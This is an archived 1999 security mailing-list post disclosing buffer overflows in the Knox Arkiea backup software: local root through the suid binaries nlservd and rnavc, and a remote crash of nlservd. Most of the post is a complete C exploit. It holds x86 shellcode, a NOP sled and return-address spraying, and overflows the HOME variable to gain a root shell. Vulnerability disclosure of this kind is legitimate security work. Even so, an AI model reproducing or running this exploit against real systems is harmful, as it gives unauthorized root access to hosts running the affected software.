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Multiple vendor Knox Arkiea local root/remote DoS
From: btellier () WEBLEY COM (Brock Tellier)
Date: Thu, 23 Sep 1999 19:11:10 -0500
Greetings, Several vulnerabilities exist in the Knox Software Arkiea backup package. 1. Buffer overflows in /usr/knox/bin/rnavc and /usr/knox/bin/nlservd (suid by default in SuSE 6.2) yield local root (exploit attached) 2. A long string to nlservd's open port results in a crash. This at least a DoS, possibly a remote exploit if anyone cares to take the time to investigate. According to the web page, the Arkiea backup package runs on dozens of OS's so this is certianly not limited to SuSE or Linux. Brock Tellier UNIX Systems Administrator Webley Systems www.webley.com /* * nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2 * exploits Arkiea's Knox backup package. * gcc -o knox knox.c * ./knox <offset> <buflen> * * * NOTE: you *MUST* have void main(){setuid(geteuid()); system("/bin/bash");} * compiled in /tmp/ui for this to work. * * To exploit rnavc, simply change the execl call to ("/usr/bin/knox/rnavc", * "rnavc", NULL) * -Brock Tellier btellier () webley com */ #include <stdlib.h> #include <stdio.h> char exec[]= /* Generic Linux x86 running our /tmp program */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/ui"; #define LEN 2000 #define NOP 0x90 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } void main(int argc, char *argv[]) { int offset=0; int i; int buflen = LEN; long int addr; char buf[LEN]; if(argc > 3) { fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]); exit(0); } else if (argc == 2){ offset=atoi(argv[1]); } else if (argc == 3) { offset=atoi(argv[1]); buflen=atoi(argv[2]); } else { offset=2800; buflen=1200; } addr=get_sp(); fprintf(stderr, "Arkiea Knox backup package exploit\n"); fprintf(stderr, "For nlservd and rnavc\n"); fprintf(stderr, "Brock Tellier btellier () webley com\n"); fprintf(stderr, "Using addr: 0x%x\n", addr+offset); memset(buf,NOP,buflen); memcpy(buf+(buflen/2),exec,strlen(exec)); for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4) *(int *)&buf[i]=addr+offset; setenv("HOME", buf, 1); execl("/usr/knox/bin/nlservd", "nlservd", NULL); }
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